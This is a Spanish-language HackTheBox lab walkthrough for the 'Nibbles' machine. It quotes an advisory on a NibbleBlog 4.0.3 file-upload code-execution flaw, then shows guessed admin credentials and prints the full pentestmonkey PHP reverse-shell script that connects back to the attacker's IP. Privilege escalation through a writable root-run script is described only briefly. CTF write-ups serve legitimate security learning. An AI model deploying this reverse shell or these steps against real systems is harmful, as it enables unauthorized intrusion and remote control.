Machine:Nibbles
Machine:Nibbles
NIBBLES
OS: Linux
Machine: Nibbles
Dirección IP: 10.10.10.75
Reconocimiento
Comandos:
NibbleBlog 4.0.3: Code Execution
Security Advisory – Curesec Research Team
1. Introduction
Affected Product: NibbleBlog 4.0.3
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Contact: Website: http://www.nibbleblog.com/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 07/21/2015
Disclosed to public: 09/01/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Vulnerability Description
When uploading image files via the "My image" plugin - which is
delivered with NibbleBlog by default - , NibbleBlog 4.0.3 keeps the
original extension of uploaded files. This extension or the actual file
type are not checked, thus it is possible to upload PHP files and gain
code execution.
Please note that admin credentials are required.
3. Proof of Concept
Obtain Admin credentials (for example via Phishing via XSS which can
be gained via CSRF, see advisory about CSRF in NibbleBlog 4.0.3)
Activate My image plugin by visiting
http://localhost/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image
Upload PHP shell, ignore warnings
Visit
http://localhost/nibbleblog/content/private/plugins/my_image/image.php.
This is the default name of images uploaded via the plugin.
4. Code
if( $plugin->init_db() )
{
// upload files
foreach($_FILES as $field_name=>$file)
{
$extension = strtolower(pathinfo($file['name'],
PATHINFO_EXTENSION));
$destination = PATH_PLUGINS_DB.$plugin->get_dir_name();
$complete = $destination.'/'.$field_name.'.'.$extension;
// Upload the new file and move
if(move_uploaded_file($file["tmp_name"], $complete))
{
// Resize images if requested by the plugin
if(isset($_POST[$field_name.'_resize']))
{
$width =
isset($_POST[$field_name.'_width'])?$_POST[$field_name.'_width']:200;
$height =
isset($_POST[$field_name.'_height'])?$_POST[$field_name.'_height']:200;
$option =
isset($_POST[$field_name.'_option'])?$_POST[$field_name.'_option']:'auto';
$quality =
isset($_POST[$field_name.'_quality'])?$_POST[$field_name.'_quality']:100;
$Resize->setImage($complete, $width, $height, $option);
$Resize->saveImage($complete, $quality, true);
}
}
}
unset($_POST['plugin']);
// update fields
$plugin->set_fields_db($_POST);
Session::set_alert($_LANG['CHANGES_HAS_BEEN_SAVED_SUCCESSFULLY']);
}
}
5. Solution
This issue was not fixed by the vendor.
6. Report Timeline
07/21/2015 Informed Vendor about Issue
07/22/2015 Vendor Replied
08/18/2015 Reminded Vendor of release date (no reply)
09/01/2015 Disclosed to public
7. Blog Reference
http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html
Seguimos los pasos del exploit para explotar un tipo de vulnerabilidad conocida como File Upload en el blog de nibbles.
Explotación
Paso 1: Obtener las credenciales de administrador del blog.
El usuario admin había sido enumerado anteriormente, ahora trataremos de obtener la contraseña, después de varios intentos se logró adivinar la contraseña la cual fue nibbles:
Usuario: admin
Contraseña: nibbles
Paso 2: Obtener una shell reversa
Procedemos a cargar el siguiente script en php para obtener una shell reversa:
Enlace del Script:
https://github.com/pentestmonkey/php-reverse-shell
Script:
<?php set_time_limit (0); $VERSION = "1.0"; $ip = 'TU_IP'; // Cambia esto $port = 1234; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>Veremos los siguientes mensajes de error, estos indican que se cargó correctamente el script:
Procedemos a dejar un puerto en escuhca para recibir la shell reversa y posteriormente vamos al siguiente directorio en el sitio para ejecutar el script:
Directorio:
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/
Obtenemos la shell reversa:
Ejecutamos los siguientes comandos para obtener una shell interactiva:
Comandos:
Vamos al directorio de directorio del usuario nibbler y encontramos la badera de usuario:
Posteriormete encontramos un script el cual tiene permisos de ser modificado por el usuario nibbler y este también puede ser ejecutado con privilegios de root:
Vemos que el script realiza distintas tareas:
Elevación de privilegios
Procedemos a modificarlo por el comando su, con la finalidad de que sea ejecutado como root y elevemos privilegios:
Finalmente ejecutamos el script monitor.sh y obtenemos acceso como root:
Etiquetas: Hacking, HackTheBox, Walkthrough